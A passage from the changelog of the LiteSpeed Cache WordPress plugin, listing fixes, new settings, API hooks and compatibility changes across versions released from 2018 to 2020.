w/ object cache transient setting. (#752931) * **3rd** Fixed an issue with WooCommerce product purge when order is placed. * **3rd** Improved WooCommerce product comment compatibility with **WooCommerce Photo Reviews Premium** plugin when using ESI. * **CDN** Fixed Remote jQuery compatibility with WordPress v5.5. (@pixtweaks) * **API** New API `litespeed_purge_all_object` and `litespeed_purged_all_object` action hooks. = 3.3.1 - Aug 12 2020 = * 🌱**Page Optimize** New option to Remove Noscript Tags. (@phuc88bmt) * 🐞**LQIP** Fixed a critical bug that bypassed all requests in v3.3. * **LQIP** Requests are now bypassed if domain has no credit left. * **Page Optimize** Inline defer will be bypassed if document listener is detected in the code. (@ssurfer) * **CCSS** Print-only styles will no longer be included in Critical CSS. * **API** Added hooks to Purge action to handle file deletions. (@biati) * **Cloud** Plain permalinks are no longer required for use of cloud services. * **Data** Added an access denial to work with OpenLiteSpeed. (@spenweb #PR228) * **GUI** Spelling and grammar adjustments. (@blastoise186 #PR253) = 3.3 - Aug 6 2020 = * 🌱**Page Optimize** Added a new setting, Inline JS Deferred Excludes. (@ankit) * **Page Optimize** CSS/JS Combine/Minify file versions will be differentiated by query string hash instead of new filename to reduce DB/file system storage. * **Page Optimize** Added the ability to use local copies of external JS files for better control over page score impacts. * **Page Optimize** Improved combination of CSS media queries. (@galbaras) * **Page Optimize** Reprioritized Inline JS Defer to be optimized before encoding, for a significantly smaller result. * **LQIP** Detect if the file exists before sending LQIP request to QUIC.cloud. * **CCSS** Sped up CCSS process significantly by sending HTML and CSS in request. * **CCSS** Improvements to mobile CSS support in CCSS. * **CCSS** Minimize CCSS failures by attempting to automatically fix CSS syntax errors. * **Cloud** Domain Key will be deleted after QUIC.cloud site_not_registered error to avoid endless repeated requests. * **CDN** CDN Original URL will default to WP Site URL if not set. (@ruikai) * **CLI** Global output format `--format=json/yaml/dump` and `--json` support in CLI. (@alya1992) * **CDN** Improved handling of non-image CSS `url()` sources in CDN. (@daniel McD) * 🐞**CDN** Fixed CDN replacement conflict w/ JS/CSS Optimize. (@ankit) * **Crawler** Only reset Crawler waiting queues when crawling begins. (@ruikai) * **Network** Network Enable Cache is no longer reset to ON Use Network Settings in enabled. (@RavanH) * 🐞**Activation** Fixed a PHP warning that appeared during uninstall. (@RavanH) * **Debug** Automatically omit long strings when dumping an array to debug log. * **Report** Subsites report now shows overwritten values along w/ original values. (#52593959) * **REST** Improved WP5.5 REST compatibility. (@oldrup) * **GUI** Server IP setting moved from Crawler menu to General menu. * **GUI** Localize resources moved to Localization tab. * **Config** News option now defaults to ON. = 3.2.4 - Jul 8 2020 = * **Object** New installations no longer get custom data.ini reset, as this could cause lost configuration. (@Eric) * **ESI** Now using `svar` to load nonces more quickly. (@Lauren) * **ESI** Fixed the conflicts between nonces in inline JS and ESI Nonces when Inline JS Deferred is enabled. (@JesseDistad) * 🐞**ESI** Fixed Fetch Latest Predefined Nonce button. * 🐞**Cache** Fixed an issue where mobile visits were not being cached when Cache Mobile was disabled. * **CDN** Bypass CDN constant `LITESPEED_BYPASS_CDN` now will apply to all CDN replacements. * **Router** Dropped `Router::get_uid()` function. * **Crawler** Updated role simulator function for future UCSS usage. * **GUI** Textarea will now automatically adjust the height based on the number of rows input. * **CLI** Fixed an issue that caused WP-Cron to exit when a task errored out. (@DovidLevine @MatthewJohnson) * **Cloud** No longer communcate with QUIC.cloud when Domain Key is not set and Debug is enabled. * **Cloud** Score banner no longer automatically fetches a new score. (@LucasRolff) = 3.2.3.2 - Jun 19 2020 = * 🔥🐞**Page Optimize** Hotfix for CSS/JS minify/combine. (@jdelgadoesteban @martin_bailey) = 3.2.3.1 - Jun 18 2020 = * **API** New filter `litespeed_buffer_before` and `litespeed_buffer_after`. (#PR243 @joejordanbrown) = 3.2.3 - Jun 18 2020 = * 🌱**Page Optimize** Added Unique CSS option for future removal of unused CSS per page. (@moongear) * **Page Optimize** Fixed an issue where Font Optimization could fail when having Load JS Deferred and Load Inline JS Deferred. (#PR241 @joejordanbrown) * 🐞**Page Optimize** Fixed an issue with Font Display Optimization which caused Google Fonts to load incorrectly. (#PR240 @joejordanbrown @haidan) * 🐞**Network** Use Primary Site Configuration setting for network sites now works properly with Object Cache and Browser Cache. (#56175101) * **API** Added filter `litespeed_is_from_cloud` to detect if the current request is from QC or not. (@lechon) * **ESI** ESI Nonce now can fetch latest list with one click. * **GUI** Updated remaining documentation links & some minor UI tweaks. (@Joshua Reynolds) = 3.2.2 - Jun 10 2020 = * 🌱**Purge** Scheduled Purge URLs now supports wildcard. (#427338) * 🌱**ESI** ESI Nonce supports wildcard match now. * **Network** Use Primary Site Settings now can support Domain Key, and override mechanism improved. (@alican532 #96266273) * **Cloud** Debug mode will now have no interval limit for most cloud requests. (@ruikai) * **Conf** Default Purge Stale to OFF. * **GUI** Purge Stale renamed to Serve Stale. * **Data** Predefined nonce list located in `/litespeed-cache/data/esi.nonce.txt`. Pull requests welcome. * **Debug** Limited parameter log length. * 🐞**CDN** Fixed an issue where upgrading lost value of CDN switch setting. (#888668) * **3rd** Caldera Forms ESI Nonce enhancement. (@paconarud16 @marketingsweet) * **3rd** Elementor now purges correctly after post/page updates. * **3rd** Disabled Page Optimization features on AMP to avoid webfont JS inject. (@rahulgupta1985) = 3.2.1 - Jun 1 2020 = * **Cloud** LQIP/CCSS rate limit tweaks. (@ianpegg) * **Admin** Improved frontend Admin Bar menu functionality. (#708642) * **Crawler** Fixed an issue where cleaning up a crawler map with a leftover page number would cause a MySQL error. (@saowp) * **Image Optimize** Added WP default thumbnails to image optimization summary list. (@johnny Nguyen) * **REST** Improved REST compatibility w/ WP4.4-. (#767203) * **GUI** Moved Use Primary Site Configuration to General menu. (@joshua) = 3.2 - May 27 2020 = * **Image Optimize** Major improvements in queue management, scalability, and speed. (@LucasRolff) * **Cloud** Implemented a series of communication enhancements. (@Lucas Rolff) * **Crawler** Enhanced PHP 5.3 compatibility. (@JTS-FIN #230) * **Page Optimize** Appended image template in wpDiscuz script into default lazyload image exclude list. (@philipfaster @szmigieldesign) * **Page Optimize** Eliminated the 404 issue for CSS/JS in server environments with missing SCRIPT_URI. (@ankit) * **Data** ENhanced summary data storage typecasting. = 3.1 - May 20 2020 = * 🌱**Network** Added Debug settings to network level when on network. * 🐞**Purge** Network now can purge all. * 🐞**Network** Fixed issue where saving the network primary site settings failed. * **Network** Moved Beta Test to network level when on network. * 🐞**Cache** Fixed issue in admin where new post editor was wrongly cached for non-admin roles. (@TEKFused) * 🐞**Data** Fixed issue with crawler & img_optm table creation failure. (@berdini @piercand) * 🐞**Core** Improved plugin activation compatibility on Windows 10 #224 (@greenphp) * **Core** Improved compatibility for .htaccess path search. * **Object** Catch RedisException. (@elparts) * Fixed Script URI issue in 3.0.9 #223 (@aonsyed) * **Image Optimize** Show thumbnail size set list in image optimization summary. (@Johnny Nguyen) * **Debug** Parameters will now be logged. = 3.0.9 - May 13 2020 = * **Purge** Comment cache can be successfully purged now. * **Data** Better MySQL charset support for crawler/image optimize table creation. (@Roshan Jonah) * **API** New hook to fire after Purge All. (@salvatorefresta) * **Crawler** Resolve IP for crawler. * **Task** PHP5.3 Cron compatibility fix. * **3rd** Elementor edit mode compatibility. * **Page Optimize** Fixed an issue where Purge Stale returned 404 for next visitor on CSS/JS. * **Page Optimize** Fixed the PHP warning when srcset doesn't have size info inside. (@gvidano) * **Cloud** Fixed the potential PHP warning when applying for the domain key. * **Core** PHP __DIR__ const replacement. (@MathiasReker) = 3.0.8.6 - May 4 2020 = * **CCSS** Bypassed CCSS functionality on frontend when domain key isn't setup yet. * **Cloud** Fixed WP node redetection bug when node expired. (@Joshua Reynolds) * **Crawler** Fixed an issue where URL is wrongly blacklisted when using ADC. = 3.0.8.5 - May 1 2020 = * 🔥🐞**3rd** Hotfix for WPLister critical error due to v3.0.8.4 changes. * **Image Optimize** Unfinished queue now will get more detailed info to indicate the proceeding status on node. * **CLI** Options can now use true/false as value for bool. (@gavin) * **CLI** Detect error if the ID does not exist when get/set an option value. * **Doc** An API comment typo for `litespeed_esi_load-` is fixed. = 3.0.8.4 - Apr 30 2020 = * 🌱**Crawler** New setting: Sitemap timeout. (#364607) * **Image Optimize** Images that fail to optimize are now counted to increase next request limit. * **Cloud** Redetect fastest node every 3 days. * **Cloud** Suppressed auto upgrade version detection error. (@marc Dahl) * **3rd** 3rd party namespace compatibility. (#366352) = 3.0.8.3 - Apr 28 2020 = * **Cloud** Better compatibility for the Link to QUIC.cloud operation. (@Ronei de Sousa Almeida) * **Image Optimize** Automatically clear invalid image sources before sending requests. (@Richard Hordern) = 3.0.8.2 - Apr 27 2020 = * **GUI** Corrected the Request Domain Key wording. = 3.0.8.1 - Apr 27 2020 = * **Object** Object cache compatibility for upgrade from v2.9.9- versions. = 3.0.8 - Apr 27 2020 = * Released v3 on WordPress officially. = 3.0.4 - Apr 23 2020 = * **Cloud** Apply Domain Key now receives error info in next apply action if failed to generate. * **GUI** Apply Domain Key timeout now displays troubleshooting guidance. * **REST** Added /ping and /token to REST GET for easier debug. * **Cache** Dropped `advanced-cache.php` file detection and usage. = 3.0.3 - Apr 21 2020 = * **Conf** Settings from all options (data ini, defined constant, and forced) will be filtered and cast to expected type. * **Upgrade** CDN mapping and other multiple line settings will now migrate correctly when upgrading from v2 to v3. = 3.0.2 - Apr 17 2020 = * **GUI** More guidance on domain key setting page. * **Cloud** Now Apply Domain Key will append the server IP if it exists in Crawler Server IP setting. = 3.0.1 - Apr 16 2020 = * **Data** Increased timeout for database upgrade related to version upgrade. Display a banner while update in progress. * **Page Optimize** All appended HTML attributes now will use double quotes to reduce the conflicts when the optimized resources are in JS snippets. = 3.0 - Apr 15 2020 = * 🌱**Media** LQIP (Low Quality Image Placeholder). * 🌱**Page Optimize** Load Inline JS Deferred Compatibility Mode. (Special thanks to @joe B - AppsON) * 🌱**Cloud** New QUIC.cloud API key setting. * 🌱**ESI** New ESI nonce setting. * 🌱**Media** JPG quality control. (@geckomist) * 🌱**Media** Responsive local SVG placeholder. * 🌱**Discussion** Gravatar warmup cron. * 🌱**DB** Table Engine Converter tool. (@johnny Nguyen) * 🌱**DB** Database summary: Autoload size. (@JohnnyNguyen) * 🌱**DB** Database summary: Autoload entries list. * 🌱**DB** Revisions older than. (@thememasterguru) * 🌱**Cache** Forced public cache setting. (#308207) * 🌱**Crawler** New timeout setting to avoid incorrect blacklist addition. (#900171) * 🌱**Htaccess** Frontend & backend .htaccess path customize. (@jon81) * 🌱**Toolbox** Detailed Heartbeat Control (@K9Heaven) * 🌱**Purge** Purge Stale setting. * 🌱**Page Optimize** Font display optimization. (@Joeee) * 🌱**Page Optimize** Google font URL display optimization. * 🌱**Page Optimize** Load Inline JS deferred. * 🌱**Page Optimize** Store gravatar locally. (@zzTaLaNo1zz @JohnnyNguyen) * 🌱**Page Optimize** DNS prefetch control setting. * 🌱**Page Optimize** Lazy Load Image Parent Class Name Excludes. (@pako69) * 🌱**Page Optimize** Lazy load iframe class excludes. (@vnnloser) * 🌱**Page Optimize** Lazy load exclude URIs. (@wordpress_fan1 @aminaz) * 🌱**GUI** New Dashboard and new menus. * 🌱**Image Optimize** Supported GIF WebP optimization. (@Lucas Rolff) * 🌱**Image Optimize** New workflow for image optimization (Gather first, request second). * 🌱**Image Optimize** The return of Rescan. * 🌱**CLI** Get single option cmd. * 🌱**CLI** QUIC.cloud cmd supported. * 🌱**CLI** CLI can send report now. * 🌱**Health** Page speed and page score now are in dashboard. * 🌱**Conf** Supported consts overwritten of `LITESPEED_CONF__` for all settings. (@menathor) * 🌱**REST** New REST TTL setting. (@thekendog) * 🌱**CDN** New setting `HTML Attribute To Replace`. CDN can now support any HTML attribute to be replaced. (@danushkaj91) * 🌱**Debug** Debug URI includes/excludes settings. * 🌱**Crawler** 🐞 Support for multiple domains in custom sitemap. (@alchem) * 🌱**Crawler** New Crawler dashboard. New sitemap w/ crawler status. New blacklist w/ reason. * 🌱**Media** LQIP minimum dimensions setting. (@Lukasz Szmigiel) * **Crawler** Able to add single rows to blacklist. * **Crawler** Crawler data now saved into database instead of creating new files. * **Crawler** Larger timeout to avoid wrongly added to blacklist. * **Crawler** Manually changed the priority of mobile and WebP. (@rafaucau) * **Browser** Larger Browser Cache TTL for Google Page Score improvement. (@max2348) * **Task** Task refactored. Disabled cron will not show in cron list anymore. * **Task** Speed up task load speed. * **ESI** Added Bloom nonce to ESI for Elegant Themes. * **Cloud** Able to redetect cloud nodes now. * **Img_optm** Fixed stale data in redirected links. * **Lazyload** CSS class `litespeed_lazyloaded` is now appended to HTML body after lazyload is finished. (@Adam Wilson) * **Cache** Default drop qs values. (@gijo Varghese) * **LQIP** Show all LQIP images in Media column. * **CDN** Can now support custom REST API prefix other than wp-json. (#174 @therealgilles) * **IAPI** Used REST for notify/destroy/check_img; Removed callback passive/aggreesive IAPI func * **CSSJS** Saved all static files to litespeed folder; Uninstallation will remove static cache folder too; Reduced .htaccess rules by serving CSS/JS directly. * **Object** Fixed override different ports issue. (@timofeycom #ISSUE178) * **Conf** DB Tables will now only create when activating/upgrading/changing settings. * **DB** Simplified table operation funcs. * **CSSJS** Bypassed CSS/JS generation to return 404 if file is empty (@grubyy) * **CSSJS** Inline JS defer will not conflict with JS inline optm anymore. * **CDN** settings will not be overwritten by primary settings in network anymore. (@rudi Khoury) * **OPcache** Purged all opcache when updating cache file. (@closte #170) * **CLI** CLI cmd renamed. * **CLI** Well-formatted table to show all options. * **Purge** Only purge related posts that have a status of "published" to avoid unnecessary "draft" purges. (@Jakub Knytl) * **GUI** Removed basic/adv mode for settings. Moved non-cache settings to its own menu. * **Htaccess** Protected .htaccess.bk file. Only kept one backup. (@teflonmann) * **Crawler** Crawler cookie now support `_null` as empty value. * **Crawler** Avoid crawler PHP fatal error on Windows OS. (@technisolutions) * **Admin** Simplified admin setting logic. * **Conf** Multi values settings now uniformed to multi lines for easier setting. * **Conf** New preset default data file `data/consts.default.ini`. * **Conf** Config setting renamed and uniformed. * **Conf** Dropped `Conf::option()`. Used `Conf::val()` instead. * **Conf** Improved conf initialization and upgrade conversion workflow. * **Core** Code base refactored. New namespace LiteSpeed. * **API** New API: iframe lazyload exclude filter. * **GUI** human readable seconds. (@MarkCanada) * **API** API refactored. * NOTE: All 3rd party plugins that are using previous APIs, especially `LiteSpeed_Cache_API`, need to be adjusted to the latest one. Same for ESI blocks.* ESI shortcode doesn't change. * **API** New hook `litespeed_update_confs` to settings update. * **API** New Hooks `litespeed_frontend_shortcut` and `litespeed_backend_shortcut` for dropdown menu. (@callaloo) * **API** Removed `litespeed_option_*` hooks. Use `litespeed_force_option` hook insteadly * **API** Renamed `litespeed_force_option` to `litespeed_conf_force`. * **API** Removed function `litespeed_purge_single_post`. * **REST** New rest API to fetch public IP. * **GUI** Hiding Cloudflare/Object Cache/Cloud API key credentials. (@menathor) * **GUI** Renamed all backend link tag from lscache to litespeed. * **GUI** fixed duplicated form tag. * **GUI** Fix cron doc link. (@arnab Mohapatra) * **GUI** Frontend adminbar menu added `Purge All` actions. (@Monarobase) * **GUI** Localized vue.js to avoid CloudFlare cookie. (@politicske) * **GUI** Always show optm column in Media Library for future single row optm operation. (@mikeyhash) * **GUI** Displayed TTL range below the corresponding setting. * **GUI** GUI refactored. * **Debug** Report can now append notes. * **3rd** Default added parallax-image to webp replacement for BB. * **3rd** User Switching plugin compatibility. (@robert Staddon) * **3rd** Beaver Builder plugin compatibility with v3.0. * **3rd** Avada plugin compatibility w/ BBPress. (@pimg) * **3rd** WooCommerce PayPal Checkout Gateway compatibility. (#960642 @Glen Cabusas) * **Network** Fixed potential timeout issue when containing a large volume of sites. (@alican532) * **Debug** `Disable All Features` now will see the warning banner if ON. * **Debug** Dropped `log filters` section. * **Debug** Debug and Tools sections combined into new `Toolbox` section. * 🐞**Crawler** Multi sites will now use separate sitemap even when `Use Primary Site` is ON. (@mrhuynhanh) * 🐞**Img_optm** Fixed large volume image table storage issue. (#328956) * 🐞 **Cloud** Cloud callback hash validation fixed OC conflict. (@pbpiotr) * 🎊 Any user that had the contribution to our WP community or changelog (even just bug report/feedback/suggestion) can apply for extra credits in QUIC.cloud. = 2.9.9.2 - Nov 24 2019 = * 🌱**GUI** New settings to limit News Feed to plugin page only. = 2.9.9.1 - Nov 18 2019 = * 🌱**Env** Environment Report can now append a passwordless link for support access without wp-admin password. * **Admin** The latest v3.0 beta test link may now be shown on the admin page when it's available. * **3rd** Compatibility with [DoLogin Security](https://wordpress.org/plugins/dologin/). * 🐞**ESI** Fixed a failure issue with Vary Group save. (@rafasshop) * 🐞**3rd** In browsers where WebP is not supported, Divi image picker will no longer serve WebP. (@Austin Tinius) = 2.9.9 - Oct 28 2019 = * Core: Preload all classes to avoid getting error for upcoming v3.0 upgrade. * Object: Improved compatibility with upcoming v3.0 release. * ESI: Unlocked ESI for OLS in case OLS is using QUIC.cloud CDN which supports ESI. * 3rd: Elementor Edit button will now show when ESI enabled. (#PR149 #335322 @maxgorky) * 🐞Media: Fixed missing Media optimization column when Admin role is excluded from optimization in settings. (@mikeyhash @pako69 @dgilfillan) = 2.9.8.7 - Oct 11 2019 = * 3rd: Enhanced WP stateless compatibility. (#PR143) * 3rd: Fixed a PHP warning caused by previous PR for AMP. (#PR176) = 2.9.8.6 - Sep 24 2019 = * 3rd: Bypassed page optimizations for AMP. (#359748 #PR169) * GUI: Firefox compatibility with radio button state when reloading pages. (#288940 #PR162) * GUI: Updated Slack invitation link. (#PR173) = 2.9.8.5 - Aug 21 2019 = * CCSS: Removed potential PHP notice when getting post_type. (@amcgiffert) * CDN: Bypassed CDN replacement on admin page when adding media to page/post. (@martin_bailey) * 🐞Media: Fixed inability to update or destroy postmeta data for child images. (#167713) = 2.9.8.4 - Jul 25 2019 = * Object: Increased compatibility with phpredis 5.0. * Object: Appended `wc_session_id` to default Do Not Cache Groups setting to avoid issue where WooCommerce cart items were missing when Object Cache is used. NOTE: Existing users must add `wc_session_id` manually! (#895333) * CSS: Added null onload handler for CSS async loading. (@joejordanbrown) * 🕷️: Increased crawler timeout to avoid wrongly adding a URL to the blacklist. * 3rd: WooCommerce Advanced Bulk Edit can now purge cache automatically. = 2.9.8.3 - Jul 9 2019 = * CSS: Enhanced the CSS Minify compatibility for CSS with missing closing bracket syntax errors. (@fa508210020) * 🕷️: Crawler now supports both cookie and no-cookie cases. (@tabare) * CCSS: Enhanced compatibility with requested pages where meta info size exceeds 8k. (@Joe B) * CCSS: No longer processing "font" or "import" directives as they are not considered critical. (@Ankit @Joe B) * IAPI: Removed IPv6 from all servers to avoid invalid firewall whitelist. = 2.9.8.2 - Jun 17 2019 = * 🔥🐞 3rd: Fixed PHP 5.3 compatibility issue with Facetwp. = 2.9.8.1 - Jun 17 2019 = * 3rd: Set ESI template hook priority to highest number to prevent ESI conflict with Enfold theme. (#289354) * 3rd: Improved Facetwp reset button compatibility with ESI. (@emilyel) * 3rd: Enabled user role change to fix duplicate login issue for plugins that use alternative login processes. (#114165 #717223 @sergiom87) * GUI: Wrapped static text with translate function. (@halilemreozen) = 2.9.8 - May 22 2019 = * Core: Refactored loading priority so user related functions & optimization features are set after user initialization. (#717223 #114165 #413338) * Media: Improved backup file calculation query to prevent out-of-memory issue. * Conf: Feed cache now defaults to ON. * API: Fully remote attachment compatibility API of image optimization now supported. * 🕷️: Bypassed vary change for crawler; crawler can now simulate default vary cookie. * ESI: Refactored ESI widget. Removed `widget_load_get_options()` function. * ESI: Changed the input name of widget fields in form. * 3rd: Elementor can now save ESI widget settings in frontend builder. * 3rd: WP-Stateless compatibility. * IAPI: Image optimization can now successfully finish the destroy process with large volume images with automatic continual mode. * 🐞CDN: Fixed issue with Load JQuery Remotely setting where WP 5.2.1 provided an unexpected jQuery version. * 🐞3rd: Login process now gets the correct role; fixed double login issue. = 2.9.7.2 - May 2 2019 = * Conf: Enhanced compatibility when an option is not properly initialized. * Conf: Prevent non-array instance in widget from causing 500 error. (#210407) * CCSS: Increase CCSS generation timeout to 60s. * Media: Renamed lazyload CSS class to avoid conflicts with other plugins. (@DynamoProd) * JS: Improved W3 validator. (@istanbulantik) * QUIC: Synced cache tag prefix for static files cache. * ESI: Restored query strings to ESI admin bar for accurate rendering. (#977284) * ESI: Tweaked ESI init priority to honor LITESPEED_DISABLE_ALL const. ESI will now init after plugin loaded. * 🐞ESI: No longer initialize ESI if ESI option is OFF. * API: New "Disable All" API function. * API: New "Force public cache" API function. * 🐞Vary: Fixed an issue with saving vary groups. * 🐞IAPI: Fixed an issue where image md5 validation failed due to whitespace in the image path. * 🐞3rd: Bypass all optimization/ESI/Cache features when entering Divi Theme Builder frontend editor. * 🐞3rd: Fixed an issue where DIVI admin bar exit button didn't work when ESI was ON. = 2.9.7.1 - Apr 9 2019 = * Purge: Purge All no longer includes Purge CCSS/Placeholder. * 3rd: Divi Theme Builder no longer experiences nonce expiration issues in the contact form widget. (#475461) = 2.9.7 - Apr 1 2019 = * 🌱🌱🌱 QUIC.cloud CDN feature. Now Apache/Nginx can use LiteSpeed cache freely. = 2.9.6 - Mar 27 2019 = * 🌱IAPI: Appended XMP to `Preserve EXIF data` setting. WebP will now honor this setting. (#902219) * Object: Fixed SASL connection with LSMCD. * ESI: Converted ESI URI parameters to JSON; Added ESI validation. * Import: Import/Export will now use JSON format. Please re-export any backed up settings. Previous backup format is no longer recognized. * Media: WebP replacement will honor `Role Excludes` setting now. (@mfazio26) * Data: Forbid direct visit to const.default.ini. * Utility: Can handle WHM passed in `LITESPEED_ERR` constant now. * IAPI: Communicate via JSON encoding. * IAPI: IAPI v2.9.6. = 2.9.5 - Mar 14 2019 = * 🌱 Auto convert default WordPress nonce to ESI to avoid expiration. * 🌱 API: Ability to easily convert custom nonce to ESI by registering `LiteSpeed_Cache_API::nonce_action`. * OPTM: Tweaked redundant attr `data-no-optimize` in func `_analyse_links` to `data-ignore-optimize` to offer the API to bypass optimization but still move src to top of source code. * API: Renamed default nonce ESI ID from `lscwp_nonce_esi` to `nonce`. * API: Added WebP generation & validation hook API. (@alim #wp-stateless) * API: Added hook to bypass vary commenter check. (#wpdiscuz) * Doc: Clarified Cache Mobile description. (@JohnnyNguyen) * Doc: Replaced incorrect link in description. (@JohnnyNguyen) * 3rd: Improved wpDiscuz compatibility. * 🐞3rd: Fixed Divi Theme Builder comment compatibility on non-builder pages. (#410919) * 3rd: Added YITH ESI adjustment. = 2.9.4.1 - Feb 28 2019 = * 🔥🐞Tag: Fixed issue where unnecessary warning potentially displayed after upgrade process when object cache is enabled. = 2.9.4 - Feb 27 2019 = * 🐞REST: New REST class with better WP5 Gutenberg and internal REST call support when ESI is embedded. * ESI: ESI block ID is now in plain text in ESI URL parameters. * 🐞ESI: Fixed a redundant ESI 301 redirect when comma is in ESI URL. * ESI: REST call can now parse shortcodes in ESI. * API: Changed ESI `parse_esi_param()` function to private and `load_esi_block` function to non-static. * API: Added `litespeed_is_json` hook for buffer JSON conversion. * GUI: Prepended plugin name to new version notification banner. * 3rd: WPML multi domains can now be handled in optimization without CDN tricks. = 2.9.3 - Feb 20 2019 = * ESI: ESI shortcodes can now be saved in Gutenberg editor. * ESI: ESI now honors the parent page JSON data type to avoid breaking REST calls (LSWS 5.3.6+). * ESI: Added is_json parameter support for admin_bar. * ESI: Simplified comment form code. * 3rd: Better page builder plugin compatibility within AJAX calls. * 3rd: Compatibility with FacetWP (LSWS 5.3.6+). * 3rd: Compatibility with Beaver Builder. * Debug: Added ESI buffer content to log. * Tag: Only append blog ID to cache tags when site is part of a network. * IAPI: Optimized database query for pulling images. * GUI: Added more plugin version checking for better feature compatibility. * GUI: Ability to bypass non-critical banners with the file .litespeed_no_banner. * Media: Background image WebP replacement now supports quotes around src. = 2.9.2 - Feb 5 2019 = * API: Add a hook `litespeed_esi_shortcode-*` for ESI shortcodes. * 3rd: WooCommerce can purge products now when variation stock is changed. * 🐞🕷️: Forced HTTP1.1 for crawler due to a CURL HTTP2 bug. = 2.9.1 - Jan 25 2019 = * Compatibility: Fixed fatal error for PHP 5.3. * Compatibility: Fixed PHP warning in htmlspecialchars when building URLs. (@souljahn2) * Media: Excluded invalid image src from lazyload. (@andrew55) * Optm: Improved URL compatibility when detecting closest cloud server. * ESI: Supported JSON format comment format in ESI with `is_json` parameter. * API: Added filters to CCSS/CSS/JS content. (@lhoucine) * 3rd: Improved comment compatibility with Elegant Divi Builder. * IAPI: New Europe Image Optimization server (EU5). Please whitelist the new [IAPI IP List](https://wp.api.litespeedtech.com/ips). * GUI: No longer show banners when `Disable All` in `Debug` is ON. (@rabbitwordpress) * GUI: Fixed button style for RTL languages. * GUI: Removed unnecessary translation in report. * GUI: Updated readme wiki links. * GUI: Fixed pie styles in image optimization page. = 2.9 - Dec 31 2018 = * 🌱Media: Lazy Load Image Classname Excludes. (@thinkmedia) * 🌱: New EU/AS cloud servers for faster image optimization handling. * 🌱: New EU/AS cloud servers for faster CCSS generation. * 🌱: New EU/AS cloud servers for faster responsive placeholder generation. * 🌱Conf: Ability to set single options via link. * 🌱Cache: Ability to add custom TTLs to Force Cache URIs. * Purge: Added post type to Purge tags. * Purge: Redefined CCSS page types. * Core: Using Exception for .htaccess R/W. * IAPI: New cloud servers added. Please whitelist the new [IAPI IP List](https://wp.api.litespeedtech.com/ips). * Optm: Trim BOM when detecting if the page is HTML. * GUI: Added PageSpeed Score comparison into promotion banner. * GUI: Refactored promotion banner logic. * GUI: Removed page optimized comment when ESI Silence is requested. * GUI: WHM transient changed to option instead of transient when storing. * GUI: Appending more descriptions to CDN filetype setting. * IAPI: Removed duplicate messages. * IAPI: Removed taken_failed/client_pull(duplicated) status. * Debug: Environment report no longer generates hash for validation. * 3rd: Non-cacheable pages no longer punch ESI holes for Divi compatibility. * 🐞Network: Added slashes for mobile rules when activating plugin. * 🐞CCSS: Eliminated a PHP notice when appending CCSS. = 2.8.1 - Dec 5 2018 = * 🐞🕷️: Fixed an activation warning related to cookie crawler. (@kacper3355 @rastel72) * 🐞Media: Replace safely by checking if pulled images is empty or not first. (@Monarobase) * 3rd: Shortcode ESI compatibility with Elementor. = 2.8 - Nov 30 2018 = * 🌱: ESI shortcodes. * 🌱: Mobile crawler. * 🌱: Cookie crawler. * API: Can now add `_litespeed_rm_qs=0` to bypass Remove Query Strings. * Optm: Removed error log when minify JS failed. * 🐞Core: Fixed a bug that caused network activation PHP warning. * Media: Removed canvas checking for WebP to support TOR. (@odeskumair) * Media: Eliminated potential image placeholder PHP warning. * 3rd: Bypassed Google recaptcha from Remove Query Strings for better compatibility. * IAPI: Showed destroy timeout details. * Debug: Moved Google Fonts log to advanced level. * GUI: Replaced all Learn More links for functions. * GUI: Cosmetic updates including Emoji. * 🕷️: Removed duplicated data in sitemap and blacklist. = 2.7.3 - Nov 26 2018 = * Optm: Improved page render speed with Web Font Loader JS library for Load Google Fonts Asynchronously. * Optm: Directly used JS library files in plugin folder instead of short links `/min/`. * Optm: Handled exceptions in JS optimization when meeting badly formatted JS. * 3rd: Added Adobe Lightroom support for NextGen Gallery. * 3rd: Improved Postman app support for POST JSON requests. * IAPI: US3 server IP changed to 68.183.60.185. = 2.7.2 - Nov 19 2018 = * 🌱: Auto Upgrade feature. * CDN: Bypass CDN for cron to avoid WP jQuery deregister warning. = 2.7.1 - Nov 15 2018 = * 🌱CLI: Ability to set CDN mapping by `set_option litespeed-cache-cdn_mapping[url][0] https://url`. * 🌱CDN: Ability to customize default CDN mapping data in default.ini. * 🌱API: Default.ini now supports both text-area items and on/off options. * Vary: Refactored Vary and related API. * Vary: New hook to manipulate vary cookies value. * Core: Activation now can generate Object Cache file. * Core: Unified Object Cache/rewrite rules generation process across activation/import/reset/CLI. * Core: Always hook activation to make activation available through the front end. * 🐞IAPI: Fixed a bug where environment report gave incorrect image optimization data. * 🐞OLS: Fixed a bug where login cookie kept showing a warning on OpenLiteSpeed. * 🐞Core: Fixed a bug where Import/Activation/CLI was missing CDN mapping settings. * API: Filters `litespeed_cache_media_lazy_img_excludes/litespeed_optm_js_defer_exc` passed-in parameter is changed from string to array. = 2.7 - Nov 2 2018 = * 🌱: Separate Purge log for better debugging. * 3rd: Now fully compatible with WPML. * IAPI: Sped up Image Optimization workflow. * GUI: Current IP now shows in Debug settings. * GUI: Space separated placeholder queue list for better look. * IAPI: EU3 server IP changed to 165.227.131.98. = 2.6.4.1 - Oct 25 2018 = * 🔥🐞Media: Fixed a bug where the wrong table was used in the Image Optimization process. * IAPI: IAPI v2.6.4.1. = 2.6.4 - Oct 24 2018 = * 🌱: Ability to create custom default config options per hosting company. * 🌱: Ability to generate mobile Critical CSS. * 🐞Media: Fixed a bug where Network sites could incorrectly override optimized images. * 🐞CDN: Fixed a bug where image URLs containing backslashes were matched. * Cache: Added default Mobile UA config setting. * GUI: Fixed unknown shortcut characters for non-English languages Setting tabs. = 2.6.3 - Oct 18 2018 = * 🌱: Ability to Reset All Options. * 🌱CLI: Added new `lscache-admin reset_options` command. * GUI: Added shortcuts for more of the Settings tabs. * Media: Updated Lazy Load JS library to the most recent version. * There is no longer any need to explicitly Save Settings upon Import. * Remove Query String now will remove *all* query strings in JS/CSS static files. * IAPI: Added summary info to debug log. = 2.6.2 - Oct 11 2018 = * Setting: Automatically correct invalid numeric values in configuration settings upon submit. * 🐞Media: Fixed the issue where iframe lazy load was broken by latest Chrome release. (@ofmarconi) * 🐞: Fixed an issue with Multisite where subsites failed to purge when only primary site has WooCommerce . (@kierancalv) = 2.6.1 - Oct 4 2018 = * 🌱: Ability to generate separate Critical CSS Cache for Post Types & URIs. * API: Filter `litespeed_frontend_htaccess` for frontend htaccess path. * Media: Removed responsive placeholder generation history to save space. = 2.6.0.1 - Sep 24 2018 = * 🔥🐞: Fixed an issue in responsive placeholder generation where redundant history data was being saved and using a lot of space. 